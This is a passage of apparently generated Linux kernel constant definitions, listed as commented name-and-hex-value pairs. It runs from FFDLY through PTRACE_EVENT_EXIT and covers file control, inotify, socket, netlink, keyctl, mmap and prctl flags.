-- FFDLY = 0x8000
-- FLUSHO = 0x1000
-- FS_ENCRYPTION_MODE_AES_256_CBC = 0x3
-- FS_ENCRYPTION_MODE_AES_256_CTS = 0x4
-- FS_ENCRYPTION_MODE_AES_256_GCM = 0x2
-- FS_ENCRYPTION_MODE_AES_256_XTS = 0x1
-- FS_ENCRYPTION_MODE_INVALID = 0x0
-- FS_IOC_GET_ENCRYPTION_POLICY = 0x400c6615
-- FS_IOC_GET_ENCRYPTION_PWSALT = 0x40106614
-- FS_IOC_SET_ENCRYPTION_POLICY = 0x800c6613
-- FS_KEY_DESCRIPTOR_SIZE = 0x8
-- FS_KEY_DESC_PREFIX = "fscrypt:"
-- FS_KEY_DESC_PREFIX_SIZE = 0x8
-- FS_MAX_KEY_SIZE = 0x40
-- FS_POLICY_FLAGS_PAD_16 = 0x2
-- FS_POLICY_FLAGS_PAD_32 = 0x3
-- FS_POLICY_FLAGS_PAD_4 = 0x0
-- FS_POLICY_FLAGS_PAD_8 = 0x1
-- FS_POLICY_FLAGS_PAD_MASK = 0x3
-- FS_POLICY_FLAGS_VALID = 0x3
-- F_DUPFD = 0x0
-- F_DUPFD_CLOEXEC = 0x406
-- F_EXLCK = 0x4
-- F_GETFD = 0x1
-- F_GETFL = 0x3
-- F_GETLEASE = 0x401
-- F_GETLK = 0xc
-- F_GETLK64 = 0xc
-- F_GETOWN = 0x9
-- F_GETOWN_EX = 0x10
-- F_GETPIPE_SZ = 0x408
-- F_GETSIG = 0xb
-- F_LOCK = 0x1
-- F_NOTIFY = 0x402
-- F_OFD_GETLK = 0x24
-- F_OFD_SETLK = 0x25
-- F_OFD_SETLKW = 0x26
-- F_OK = 0x0
-- F_RDLCK = 0x0
-- F_SETFD = 0x2
-- F_SETFL = 0x4
-- F_SETLEASE = 0x400
-- F_SETLK = 0xd
-- F_SETLK64 = 0xd
-- F_SETLKW = 0xe
-- F_SETLKW64 = 0xe
-- F_SETOWN = 0x8
-- F_SETOWN_EX = 0xf
-- F_SETPIPE_SZ = 0x407
-- F_SETSIG = 0xa
-- F_SHLCK = 0x8
-- F_TEST = 0x3
-- F_TLOCK = 0x2
-- F_ULOCK = 0x0
-- F_UNLCK = 0x2
-- F_WRLCK = 0x1
-- GENL_ADMIN_PERM = 0x1
-- GENL_CMD_CAP_DO = 0x2
-- GENL_CMD_CAP_DUMP = 0x4
-- GENL_CMD_CAP_HASPOL = 0x8
-- GENL_HDRLEN = 0x4
-- GENL_ID_CTRL = 0x10
-- GENL_ID_PMCRAID = 0x12
-- GENL_ID_VFS_DQUOT = 0x11
-- GENL_MAX_ID = 0x3ff
-- GENL_MIN_ID = 0x10
-- GENL_NAMSIZ = 0x10
-- GENL_START_ALLOC = 0x13
-- GENL_UNS_ADMIN_PERM = 0x10
-- GRND_NONBLOCK = 0x1
-- GRND_RANDOM = 0x2
-- HUPCL = 0x400
-- IBSHIFT = 0x10
-- ICANON = 0x2
-- ICMPV6_FILTER = 0x1
-- ICRNL = 0x100
-- IEXTEN = 0x8000
-- IFA_F_DADFAILED = 0x8
-- IFA_F_DEPRECATED = 0x20
-- IFA_F_HOMEADDRESS = 0x10
-- IFA_F_MANAGETEMPADDR = 0x100
-- IFA_F_MCAUTOJOIN = 0x400
-- IFA_F_NODAD = 0x2
-- IFA_F_NOPREFIXROUTE = 0x200
-- IFA_F_OPTIMISTIC = 0x4
-- IFA_F_PERMANENT = 0x80
-- IFA_F_SECONDARY = 0x1
-- IFA_F_STABLE_PRIVACY = 0x800
-- IFA_F_TEMPORARY = 0x1
-- IFA_F_TENTATIVE = 0x40
-- IFA_MAX = 0x8
-- IFF_ALLMULTI = 0x200
-- IFF_ATTACH_QUEUE = 0x200
-- IFF_AUTOMEDIA = 0x4000
-- IFF_BROADCAST = 0x2
-- IFF_DEBUG = 0x4
-- IFF_DETACH_QUEUE = 0x400
-- IFF_DORMANT = 0x20000
-- IFF_DYNAMIC = 0x8000
-- IFF_ECHO = 0x40000
-- IFF_LOOPBACK = 0x8
-- IFF_LOWER_UP = 0x10000
-- IFF_MASTER = 0x400
-- IFF_MULTICAST = 0x1000
-- IFF_MULTI_QUEUE = 0x100
-- IFF_NOARP = 0x80
-- IFF_NOFILTER = 0x1000
-- IFF_NOTRAILERS = 0x20
-- IFF_NO_PI = 0x1000
-- IFF_ONE_QUEUE = 0x2000
-- IFF_PERSIST = 0x800
-- IFF_POINTOPOINT = 0x10
-- IFF_PORTSEL = 0x2000
-- IFF_PROMISC = 0x100
-- IFF_RUNNING = 0x40
-- IFF_SLAVE = 0x800
-- IFF_TAP = 0x2
-- IFF_TUN = 0x1
-- IFF_TUN_EXCL = 0x8000
-- IFF_UP = 0x1
-- IFF_VNET_HDR = 0x4000
-- IFF_VOLATILE = 0x70c5a
-- IFNAMSIZ = 0x10
-- IGNBRK = 0x1
-- IGNCR = 0x80
-- IGNPAR = 0x4
-- IMAXBEL = 0x2000
-- INLCR = 0x40
-- INPCK = 0x10
-- IN_ACCESS = 0x1
-- IN_ALL_EVENTS = 0xfff
-- IN_ATTRIB = 0x4
-- IN_CLASSA_HOST = 0xffffff
-- IN_CLASSA_MAX = 0x80
-- IN_CLASSA_NET = 0xff000000
-- IN_CLASSA_NSHIFT = 0x18
-- IN_CLASSB_HOST = 0xffff
-- IN_CLASSB_MAX = 0x10000
-- IN_CLASSB_NET = 0xffff0000
-- IN_CLASSB_NSHIFT = 0x10
-- IN_CLASSC_HOST = 0xff
-- IN_CLASSC_NET = 0xffffff00
-- IN_CLASSC_NSHIFT = 0x8
-- IN_CLOEXEC = 0x80000
-- IN_CLOSE = 0x18
-- IN_CLOSE_NOWRITE = 0x10
-- IN_CLOSE_WRITE = 0x8
-- IN_CREATE = 0x100
-- IN_DELETE = 0x200
-- IN_DELETE_SELF = 0x400
-- IN_DONT_FOLLOW = 0x2000000
-- IN_EXCL_UNLINK = 0x4000000
-- IN_IGNORED = 0x8000
-- IN_ISDIR = 0x40000000
-- IN_LOOPBACKNET = 0x7f
-- IN_MASK_ADD = 0x20000000
-- IN_MODIFY = 0x2
-- IN_MOVE = 0xc0
-- IN_MOVED_FROM = 0x40
-- IN_MOVED_TO = 0x80
-- IN_MOVE_SELF = 0x800
-- IN_NONBLOCK = 0x800
-- IN_ONESHOT = 0x80000000
-- IN_ONLYDIR = 0x1000000
-- IN_OPEN = 0x20
-- IN_Q_OVERFLOW = 0x4000
-- IN_UNMOUNT = 0x2000
-- IPPROTO_AH = 0x33
-- IPPROTO_BEETPH = 0x5e
-- IPPROTO_COMP = 0x6c
-- IPPROTO_DCCP = 0x21
-- IPPROTO_DSTOPTS = 0x3c
-- IPPROTO_EGP = 0x8
-- IPPROTO_ENCAP = 0x62
-- IPPROTO_ESP = 0x32
-- IPPROTO_FRAGMENT = 0x2c
-- IPPROTO_GRE = 0x2f
-- IPPROTO_HOPOPTS = 0x0
-- IPPROTO_ICMP = 0x1
-- IPPROTO_ICMPV6 = 0x3a
-- IPPROTO_IDP = 0x16
-- IPPROTO_IGMP = 0x2
-- IPPROTO_IP = 0x0
-- IPPROTO_IPIP = 0x4
-- IPPROTO_IPV6 = 0x29
-- IPPROTO_MH = 0x87
-- IPPROTO_MPLS = 0x89
-- IPPROTO_MTP = 0x5c
-- IPPROTO_NONE = 0x3b
-- IPPROTO_PIM = 0x67
-- IPPROTO_PUP = 0xc
-- IPPROTO_RAW = 0xff
-- IPPROTO_ROUTING = 0x2b
-- IPPROTO_RSVP = 0x2e
-- IPPROTO_SCTP = 0x84
-- IPPROTO_TCP = 0x6
-- IPPROTO_TP = 0x1d
-- IPPROTO_UDP = 0x11
-- IPPROTO_UDPLITE = 0x88
-- IPV6_2292DSTOPTS = 0x4
-- IPV6_2292HOPLIMIT = 0x8
-- IPV6_2292HOPOPTS = 0x3
-- IPV6_2292PKTINFO = 0x2
-- IPV6_2292PKTOPTIONS = 0x6
-- IPV6_2292RTHDR = 0x5
-- IPV6_ADDRFORM = 0x1
-- IPV6_ADD_MEMBERSHIP = 0x14
-- IPV6_AUTHHDR = 0xa
-- IPV6_CHECKSUM = 0x7
-- IPV6_DONTFRAG = 0x3e
-- IPV6_DROP_MEMBERSHIP = 0x15
-- IPV6_DSTOPTS = 0x3b
-- IPV6_HDRINCL = 0x24
-- IPV6_HOPLIMIT = 0x34
-- IPV6_HOPOPTS = 0x36
-- IPV6_IPSEC_POLICY = 0x22
-- IPV6_JOIN_ANYCAST = 0x1b
-- IPV6_JOIN_GROUP = 0x14
-- IPV6_LEAVE_ANYCAST = 0x1c
-- IPV6_LEAVE_GROUP = 0x15
-- IPV6_MTU = 0x18
-- IPV6_MTU_DISCOVER = 0x17
-- IPV6_MULTICAST_HOPS = 0x12
-- IPV6_MULTICAST_IF = 0x11
-- IPV6_MULTICAST_LOOP = 0x13
-- IPV6_NEXTHOP = 0x9
-- IPV6_PATHMTU = 0x3d
-- IPV6_PKTINFO = 0x32
-- IPV6_PMTUDISC_DO = 0x2
-- IPV6_PMTUDISC_DONT = 0x0
-- IPV6_PMTUDISC_INTERFACE = 0x4
-- IPV6_PMTUDISC_OMIT = 0x5
-- IPV6_PMTUDISC_PROBE = 0x3
-- IPV6_PMTUDISC_WANT = 0x1
-- IPV6_RECVDSTOPTS = 0x3a
-- IPV6_RECVERR = 0x19
-- IPV6_RECVHOPLIMIT = 0x33
-- IPV6_RECVHOPOPTS = 0x35
-- IPV6_RECVPATHMTU = 0x3c
-- IPV6_RECVPKTINFO = 0x31
-- IPV6_RECVRTHDR = 0x38
-- IPV6_RECVTCLASS = 0x42
-- IPV6_ROUTER_ALERT = 0x16
-- IPV6_RTHDR = 0x39
-- IPV6_RTHDRDSTOPTS = 0x37
-- IPV6_RTHDR_LOOSE = 0x0
-- IPV6_RTHDR_STRICT = 0x1
-- IPV6_RTHDR_TYPE_0 = 0x0
-- IPV6_RXDSTOPTS = 0x3b
-- IPV6_RXHOPOPTS = 0x36
-- IPV6_TCLASS = 0x43
-- IPV6_UNICAST_HOPS = 0x10
-- IPV6_V6ONLY = 0x1a
-- IPV6_XFRM_POLICY = 0x23
-- IP_ADD_MEMBERSHIP = 0x23
-- IP_ADD_SOURCE_MEMBERSHIP = 0x27
-- IP_BIND_ADDRESS_NO_PORT = 0x18
-- IP_BLOCK_SOURCE = 0x26
-- IP_CHECKSUM = 0x17
-- IP_DEFAULT_MULTICAST_LOOP = 0x1
-- IP_DEFAULT_MULTICAST_TTL = 0x1
-- IP_DF = 0x4000
-- IP_DROP_MEMBERSHIP = 0x24
-- IP_DROP_SOURCE_MEMBERSHIP = 0x28
-- IP_FREEBIND = 0xf
-- IP_HDRINCL = 0x3
-- IP_IPSEC_POLICY = 0x10
-- IP_MAXPACKET = 0xffff
-- IP_MAX_MEMBERSHIPS = 0x14
-- IP_MF = 0x2000
-- IP_MINTTL = 0x15
-- IP_MSFILTER = 0x29
-- IP_MSS = 0x240
-- IP_MTU = 0xe
-- IP_MTU_DISCOVER = 0xa
-- IP_MULTICAST_ALL = 0x31
-- IP_MULTICAST_IF = 0x20
-- IP_MULTICAST_LOOP = 0x22
-- IP_MULTICAST_TTL = 0x21
-- IP_NODEFRAG = 0x16
-- IP_OFFMASK = 0x1fff
-- IP_OPTIONS = 0x4
-- IP_ORIGDSTADDR = 0x14
-- IP_PASSSEC = 0x12
-- IP_PKTINFO = 0x8
-- IP_PKTOPTIONS = 0x9
-- IP_PMTUDISC = 0xa
-- IP_PMTUDISC_DO = 0x2
-- IP_PMTUDISC_DONT = 0x0
-- IP_PMTUDISC_INTERFACE = 0x4
-- IP_PMTUDISC_OMIT = 0x5
-- IP_PMTUDISC_PROBE = 0x3
-- IP_PMTUDISC_WANT = 0x1
-- IP_RECVERR = 0xb
-- IP_RECVOPTS = 0x6
-- IP_RECVORIGDSTADDR = 0x14
-- IP_RECVRETOPTS = 0x7
-- IP_RECVTOS = 0xd
-- IP_RECVTTL = 0xc
-- IP_RETOPTS = 0x7
-- IP_RF = 0x8000
-- IP_ROUTER_ALERT = 0x5
-- IP_TOS = 0x1
-- IP_TRANSPARENT = 0x13
-- IP_TTL = 0x2
-- IP_UNBLOCK_SOURCE = 0x25
-- IP_UNICAST_IF = 0x32
-- IP_XFRM_POLICY = 0x11
-- ISIG = 0x1
-- ISTRIP = 0x20
-- IUCLC = 0x200
-- IUTF8 = 0x4000
-- IXANY = 0x800
-- IXOFF = 0x1000
-- IXON = 0x400
-- KEYCTL_ASSUME_AUTHORITY = 0x10
-- KEYCTL_CHOWN = 0x4
-- KEYCTL_CLEAR = 0x7
-- KEYCTL_DESCRIBE = 0x6
-- KEYCTL_DH_COMPUTE = 0x17
-- KEYCTL_GET_KEYRING_ID = 0x0
-- KEYCTL_GET_PERSISTENT = 0x16
-- KEYCTL_GET_SECURITY = 0x11
-- KEYCTL_INSTANTIATE = 0xc
-- KEYCTL_INSTANTIATE_IOV = 0x14
-- KEYCTL_INVALIDATE = 0x15
-- KEYCTL_JOIN_SESSION_KEYRING = 0x1
-- KEYCTL_LINK = 0x8
-- KEYCTL_NEGATE = 0xd
-- KEYCTL_READ = 0xb
-- KEYCTL_REJECT = 0x13
-- KEYCTL_REVOKE = 0x3
-- KEYCTL_SEARCH = 0xa
-- KEYCTL_SESSION_TO_PARENT = 0x12
-- KEYCTL_SETPERM = 0x5
-- KEYCTL_SET_REQKEY_KEYRING = 0xe
-- KEYCTL_SET_TIMEOUT = 0xf
-- KEYCTL_UNLINK = 0x9
-- KEYCTL_UPDATE = 0x2
-- KEY_REQKEY_DEFL_DEFAULT = 0x0
-- KEY_REQKEY_DEFL_GROUP_KEYRING = 0x6
-- KEY_REQKEY_DEFL_NO_CHANGE = -0x1
-- KEY_REQKEY_DEFL_PROCESS_KEYRING = 0x2
-- KEY_REQKEY_DEFL_REQUESTOR_KEYRING = 0x7
-- KEY_REQKEY_DEFL_SESSION_KEYRING = 0x3
-- KEY_REQKEY_DEFL_THREAD_KEYRING = 0x1
-- KEY_REQKEY_DEFL_USER_KEYRING = 0x4
-- KEY_REQKEY_DEFL_USER_SESSION_KEYRING = 0x5
-- KEY_SPEC_GROUP_KEYRING = -0x6
-- KEY_SPEC_PROCESS_KEYRING = -0x2
-- KEY_SPEC_REQKEY_AUTH_KEY = -0x7
-- KEY_SPEC_REQUESTOR_KEYRING = -0x8
-- KEY_SPEC_SESSION_KEYRING = -0x3
-- KEY_SPEC_THREAD_KEYRING = -0x1
-- KEY_SPEC_USER_KEYRING = -0x4
-- KEY_SPEC_USER_SESSION_KEYRING = -0x5
-- LINUX_REBOOT_CMD_CAD_OFF = 0x0
-- LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-- LINUX_REBOOT_CMD_HALT = 0xcdef0123
-- LINUX_REBOOT_CMD_KEXEC = 0x45584543
-- LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-- LINUX_REBOOT_CMD_RESTART = 0x1234567
-- LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-- LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-- LINUX_REBOOT_MAGIC1 = 0xfee1dead
-- LINUX_REBOOT_MAGIC2 = 0x28121969
-- LOCK_EX = 0x2
-- LOCK_NB = 0x4
-- LOCK_SH = 0x1
-- LOCK_UN = 0x8
-- MADV_DODUMP = 0x11
-- MADV_DOFORK = 0xb
-- MADV_DONTDUMP = 0x10
-- MADV_DONTFORK = 0xa
-- MADV_DONTNEED = 0x4
-- MADV_FREE = 0x8
-- MADV_HUGEPAGE = 0xe
-- MADV_HWPOISON = 0x64
-- MADV_MERGEABLE = 0xc
-- MADV_NOHUGEPAGE = 0xf
-- MADV_NORMAL = 0x0
-- MADV_RANDOM = 0x1
-- MADV_REMOVE = 0x9
-- MADV_SEQUENTIAL = 0x2
-- MADV_UNMERGEABLE = 0xd
-- MADV_WILLNEED = 0x3
-- MAP_ANON = 0x20
-- MAP_ANONYMOUS = 0x20
-- MAP_DENYWRITE = 0x800
-- MAP_EXECUTABLE = 0x1000
-- MAP_FILE = 0x0
-- MAP_FIXED = 0x10
-- MAP_GROWSDOWN = 0x100
-- MAP_HUGETLB = 0x40000
-- MAP_HUGE_MASK = 0x3f
-- MAP_HUGE_SHIFT = 0x1a
-- MAP_LOCKED = 0x2000
-- MAP_NONBLOCK = 0x10000
-- MAP_NORESERVE = 0x4000
-- MAP_POPULATE = 0x8000
-- MAP_PRIVATE = 0x2
-- MAP_SHARED = 0x1
-- MAP_STACK = 0x20000
-- MAP_TYPE = 0xf
-- MCL_CURRENT = 0x1
-- MCL_FUTURE = 0x2
-- MCL_ONFAULT = 0x4
-- MNT_DETACH = 0x2
-- MNT_EXPIRE = 0x4
-- MNT_FORCE = 0x1
-- MSG_BATCH = 0x40000
-- MSG_CMSG_CLOEXEC = 0x40000000
-- MSG_CONFIRM = 0x800
-- MSG_CTRUNC = 0x8
-- MSG_DONTROUTE = 0x4
-- MSG_DONTWAIT = 0x40
-- MSG_EOR = 0x80
-- MSG_ERRQUEUE = 0x2000
-- MSG_FASTOPEN = 0x20000000
-- MSG_FIN = 0x200
-- MSG_MORE = 0x8000
-- MSG_NOSIGNAL = 0x4000
-- MSG_OOB = 0x1
-- MSG_PEEK = 0x2
-- MSG_PROXY = 0x10
-- MSG_RST = 0x1000
-- MSG_SYN = 0x400
-- MSG_TRUNC = 0x20
-- MSG_TRYHARD = 0x4
-- MSG_WAITALL = 0x100
-- MSG_WAITFORONE = 0x10000
-- MS_ACTIVE = 0x40000000
-- MS_ASYNC = 0x1
-- MS_BIND = 0x1000
-- MS_BORN = 0x20000000
-- MS_DIRSYNC = 0x80
-- MS_INVALIDATE = 0x2
-- MS_I_VERSION = 0x800000
-- MS_KERNMOUNT = 0x400000
-- MS_LAZYTIME = 0x2000000
-- MS_MANDLOCK = 0x40
-- MS_MGC_MSK = 0xffff0000
-- MS_MGC_VAL = 0xc0ed0000
-- MS_MOVE = 0x2000
-- MS_NOATIME = 0x400
-- MS_NODEV = 0x4
-- MS_NODIRATIME = 0x800
-- MS_NOEXEC = 0x8
-- MS_NOREMOTELOCK = 0x8000000
-- MS_NOSEC = 0x10000000
-- MS_NOSUID = 0x2
-- MS_NOUSER = -0x80000000
-- MS_POSIXACL = 0x10000
-- MS_PRIVATE = 0x40000
-- MS_RDONLY = 0x1
-- MS_REC = 0x4000
-- MS_RELATIME = 0x200000
-- MS_REMOUNT = 0x20
-- MS_RMT_MASK = 0x2800051
-- MS_SHARED = 0x100000
-- MS_SILENT = 0x8000
-- MS_SLAVE = 0x80000
-- MS_STRICTATIME = 0x1000000
-- MS_SYNC = 0x4
-- MS_SYNCHRONOUS = 0x10
-- MS_UNBINDABLE = 0x20000
-- MS_VERBOSE = 0x8000
-- NAME_MAX = 0xff
-- NETLINK_ADD_MEMBERSHIP = 0x1
-- NETLINK_AUDIT = 0x9
-- NETLINK_BROADCAST_ERROR = 0x4
-- NETLINK_CAP_ACK = 0xa
-- NETLINK_CONNECTOR = 0xb
-- NETLINK_CRYPTO = 0x15
-- NETLINK_DNRTMSG = 0xe
-- NETLINK_DROP_MEMBERSHIP = 0x2
-- NETLINK_ECRYPTFS = 0x13
-- NETLINK_FIB_LOOKUP = 0xa
-- NETLINK_FIREWALL = 0x3
-- NETLINK_GENERIC = 0x10
-- NETLINK_INET_DIAG = 0x4
-- NETLINK_IP6_FW = 0xd
-- NETLINK_ISCSI = 0x8
-- NETLINK_KOBJECT_UEVENT = 0xf
-- NETLINK_LISTEN_ALL_NSID = 0x8
-- NETLINK_LIST_MEMBERSHIPS = 0x9
-- NETLINK_NETFILTER = 0xc
-- NETLINK_NFLOG = 0x5
-- NETLINK_NO_ENOBUFS = 0x5
-- NETLINK_PKTINFO = 0x3
-- NETLINK_RDMA = 0x14
-- NETLINK_ROUTE = 0x0
-- NETLINK_RX_RING = 0x6
-- NETLINK_SCSITRANSPORT = 0x12
-- NETLINK_SELINUX = 0x7
-- NETLINK_SOCK_DIAG = 0x4
-- NETLINK_TX_RING = 0x7
-- NETLINK_UNUSED = 0x1
-- NETLINK_USERSOCK = 0x2
-- NETLINK_XFRM = 0x6
-- NL0 = 0x0
-- NL1 = 0x100
-- NLA_ALIGNTO = 0x4
-- NLA_F_NESTED = 0x8000
-- NLA_F_NET_BYTEORDER = 0x4000
-- NLA_HDRLEN = 0x4
-- NLDLY = 0x100
-- NLMSG_ALIGNTO = 0x4
-- NLMSG_DONE = 0x3
-- NLMSG_ERROR = 0x2
-- NLMSG_HDRLEN = 0x10
-- NLMSG_MIN_TYPE = 0x10
-- NLMSG_NOOP = 0x1
-- NLMSG_OVERRUN = 0x4
-- NLM_F_ACK = 0x4
-- NLM_F_APPEND = 0x800
-- NLM_F_ATOMIC = 0x400
-- NLM_F_CREATE = 0x400
-- NLM_F_DUMP = 0x300
-- NLM_F_DUMP_FILTERED = 0x20
-- NLM_F_DUMP_INTR = 0x10
-- NLM_F_ECHO = 0x8
-- NLM_F_EXCL = 0x200
-- NLM_F_MATCH = 0x200
-- NLM_F_MULTI = 0x2
-- NLM_F_REPLACE = 0x100
-- NLM_F_REQUEST = 0x1
-- NLM_F_ROOT = 0x100
-- NOFLSH = 0x80
-- OCRNL = 0x8
-- OFDEL = 0x80
-- OFILL = 0x40
-- OLCUC = 0x2
-- ONLCR = 0x4
-- ONLRET = 0x20
-- ONOCR = 0x10
-- OPOST = 0x1
-- O_ACCMODE = 0x3
-- O_APPEND = 0x400
-- O_ASYNC = 0x2000
-- O_CLOEXEC = 0x80000
-- O_CREAT = 0x40
-- O_DIRECT = 0x10000
-- O_DIRECTORY = 0x4000
-- O_DSYNC = 0x1000
-- O_EXCL = 0x80
-- O_FSYNC = 0x101000
-- O_LARGEFILE = 0x20000
-- O_NDELAY = 0x800
-- O_NOATIME = 0x40000
-- O_NOCTTY = 0x100
-- O_NOFOLLOW = 0x8000
-- O_NONBLOCK = 0x800
-- O_PATH = 0x200000
-- O_RDONLY = 0x0
-- O_RDWR = 0x2
-- O_RSYNC = 0x101000
-- O_SYNC = 0x101000
-- O_TMPFILE = 0x404000
-- O_TRUNC = 0x200
-- O_WRONLY = 0x1
-- PACKET_ADD_MEMBERSHIP = 0x1
-- PACKET_AUXDATA = 0x8
-- PACKET_BROADCAST = 0x1
-- PACKET_COPY_THRESH = 0x7
-- PACKET_DROP_MEMBERSHIP = 0x2
-- PACKET_FANOUT = 0x12
-- PACKET_FANOUT_CBPF = 0x6
-- PACKET_FANOUT_CPU = 0x2
-- PACKET_FANOUT_DATA = 0x16
-- PACKET_FANOUT_EBPF = 0x7
-- PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-- PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-- PACKET_FANOUT_HASH = 0x0
-- PACKET_FANOUT_LB = 0x1
-- PACKET_FANOUT_QM = 0x5
-- PACKET_FANOUT_RND = 0x4
-- PACKET_FANOUT_ROLLOVER = 0x3
-- PACKET_FASTROUTE = 0x6
-- PACKET_HDRLEN = 0xb
-- PACKET_HOST = 0x0
-- PACKET_KERNEL = 0x7
-- PACKET_LOOPBACK = 0x5
-- PACKET_LOSS = 0xe
-- PACKET_MR_ALLMULTI = 0x2
-- PACKET_MR_MULTICAST = 0x0
-- PACKET_MR_PROMISC = 0x1
-- PACKET_MR_UNICAST = 0x3
-- PACKET_MULTICAST = 0x2
-- PACKET_ORIGDEV = 0x9
-- PACKET_OTHERHOST = 0x3
-- PACKET_OUTGOING = 0x4
-- PACKET_QDISC_BYPASS = 0x14
-- PACKET_RECV_OUTPUT = 0x3
-- PACKET_RESERVE = 0xc
-- PACKET_ROLLOVER_STATS = 0x15
-- PACKET_RX_RING = 0x5
-- PACKET_STATISTICS = 0x6
-- PACKET_TIMESTAMP = 0x11
-- PACKET_TX_HAS_OFF = 0x13
-- PACKET_TX_RING = 0xd
-- PACKET_TX_TIMESTAMP = 0x10
-- PACKET_USER = 0x6
-- PACKET_VERSION = 0xa
-- PACKET_VNET_HDR = 0xf
-- PARENB = 0x100
-- PARITY_CRC16_PR0 = 0x2
-- PARITY_CRC16_PR0_CCITT = 0x4
-- PARITY_CRC16_PR1 = 0x3
-- PARITY_CRC16_PR1_CCITT = 0x5
-- PARITY_CRC32_PR0_CCITT = 0x6
-- PARITY_CRC32_PR1_CCITT = 0x7
-- PARITY_DEFAULT = 0x0
-- PARITY_NONE = 0x1
-- PARMRK = 0x8
-- PARODD = 0x200
-- PENDIN = 0x4000
-- PERF_EVENT_IOC_DISABLE = 0x2401
-- PERF_EVENT_IOC_ENABLE = 0x2400
-- PERF_EVENT_IOC_ID = 0x80042407
-- PERF_EVENT_IOC_PAUSE_OUTPUT = 0x40042409
-- PERF_EVENT_IOC_PERIOD = 0x40082404
-- PERF_EVENT_IOC_REFRESH = 0x2402
-- PERF_EVENT_IOC_RESET = 0x2403
-- PERF_EVENT_IOC_SET_BPF = 0x40042408
-- PERF_EVENT_IOC_SET_FILTER = 0x40042406
-- PERF_EVENT_IOC_SET_OUTPUT = 0x2405
-- PRIO_PGRP = 0x1
-- PRIO_PROCESS = 0x0
-- PRIO_USER = 0x2
-- PROT_EXEC = 0x4
-- PROT_GROWSDOWN = 0x1000000
-- PROT_GROWSUP = 0x2000000
-- PROT_NONE = 0x0
-- PROT_READ = 0x1
-- PROT_WRITE = 0x2
-- PR_CAPBSET_DROP = 0x18
-- PR_CAPBSET_READ = 0x17
-- PR_CAP_AMBIENT = 0x2f
-- PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-- PR_CAP_AMBIENT_IS_SET = 0x1
-- PR_CAP_AMBIENT_LOWER = 0x3
-- PR_CAP_AMBIENT_RAISE = 0x2
-- PR_ENDIAN_BIG = 0x0
-- PR_ENDIAN_LITTLE = 0x1
-- PR_ENDIAN_PPC_LITTLE = 0x2
-- PR_FPEMU_NOPRINT = 0x1
-- PR_FPEMU_SIGFPE = 0x2
-- PR_FP_EXC_ASYNC = 0x2
-- PR_FP_EXC_DISABLED = 0x0
-- PR_FP_EXC_DIV = 0x10000
-- PR_FP_EXC_INV = 0x100000
-- PR_FP_EXC_NONRECOV = 0x1
-- PR_FP_EXC_OVF = 0x20000
-- PR_FP_EXC_PRECISE = 0x3
-- PR_FP_EXC_RES = 0x80000
-- PR_FP_EXC_SW_ENABLE = 0x80
-- PR_FP_EXC_UND = 0x40000
-- PR_FP_MODE_FR = 0x1
-- PR_FP_MODE_FRE = 0x2
-- PR_GET_CHILD_SUBREAPER = 0x25
-- PR_GET_DUMPABLE = 0x3
-- PR_GET_ENDIAN = 0x13
-- PR_GET_FPEMU = 0x9
-- PR_GET_FPEXC = 0xb
-- PR_GET_FP_MODE = 0x2e
-- PR_GET_KEEPCAPS = 0x7
-- PR_GET_NAME = 0x10
-- PR_GET_NO_NEW_PRIVS = 0x27
-- PR_GET_PDEATHSIG = 0x2
-- PR_GET_SECCOMP = 0x15
-- PR_GET_SECUREBITS = 0x1b
-- PR_GET_THP_DISABLE = 0x2a
-- PR_GET_TID_ADDRESS = 0x28
-- PR_GET_TIMERSLACK = 0x1e
-- PR_GET_TIMING = 0xd
-- PR_GET_TSC = 0x19
-- PR_GET_UNALIGN = 0x5
-- PR_MCE_KILL = 0x21
-- PR_MCE_KILL_CLEAR = 0x0
-- PR_MCE_KILL_DEFAULT = 0x2
-- PR_MCE_KILL_EARLY = 0x1
-- PR_MCE_KILL_GET = 0x22
-- PR_MCE_KILL_LATE = 0x0
-- PR_MCE_KILL_SET = 0x1
-- PR_MPX_DISABLE_MANAGEMENT = 0x2c
-- PR_MPX_ENABLE_MANAGEMENT = 0x2b
-- PR_SET_CHILD_SUBREAPER = 0x24
-- PR_SET_DUMPABLE = 0x4
-- PR_SET_ENDIAN = 0x14
-- PR_SET_FPEMU = 0xa
-- PR_SET_FPEXC = 0xc
-- PR_SET_FP_MODE = 0x2d
-- PR_SET_KEEPCAPS = 0x8
-- PR_SET_MM = 0x23
-- PR_SET_MM_ARG_END = 0x9
-- PR_SET_MM_ARG_START = 0x8
-- PR_SET_MM_AUXV = 0xc
-- PR_SET_MM_BRK = 0x7
-- PR_SET_MM_END_CODE = 0x2
-- PR_SET_MM_END_DATA = 0x4
-- PR_SET_MM_ENV_END = 0xb
-- PR_SET_MM_ENV_START = 0xa
-- PR_SET_MM_EXE_FILE = 0xd
-- PR_SET_MM_MAP = 0xe
-- PR_SET_MM_MAP_SIZE = 0xf
-- PR_SET_MM_START_BRK = 0x6
-- PR_SET_MM_START_CODE = 0x1
-- PR_SET_MM_START_DATA = 0x3
-- PR_SET_MM_START_STACK = 0x5
-- PR_SET_NAME = 0xf
-- PR_SET_NO_NEW_PRIVS = 0x26
-- PR_SET_PDEATHSIG = 0x1
-- PR_SET_PTRACER = 0x59616d61
-- PR_SET_PTRACER_ANY = 0xffffffff
-- PR_SET_SECCOMP = 0x16
-- PR_SET_SECUREBITS = 0x1c
-- PR_SET_THP_DISABLE = 0x29
-- PR_SET_TIMERSLACK = 0x1d
-- PR_SET_TIMING = 0xe
-- PR_SET_TSC = 0x1a
-- PR_SET_UNALIGN = 0x6
-- PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-- PR_TASK_PERF_EVENTS_ENABLE = 0x20
-- PR_TIMING_STATISTICAL = 0x0
-- PR_TIMING_TIMESTAMP = 0x1
-- PR_TSC_ENABLE = 0x1
-- PR_TSC_SIGSEGV = 0x2
-- PR_UNALIGN_NOPRINT = 0x1
-- PR_UNALIGN_SIGBUS = 0x2
-- PTRACE_ATTACH = 0x10
-- PTRACE_CONT = 0x7
-- PTRACE_DETACH = 0x11
-- PTRACE_EVENT_CLONE = 0x3
-- PTRACE_EVENT_EXEC = 0x4
-- PTRACE_EVENT_EXIT = 0x6
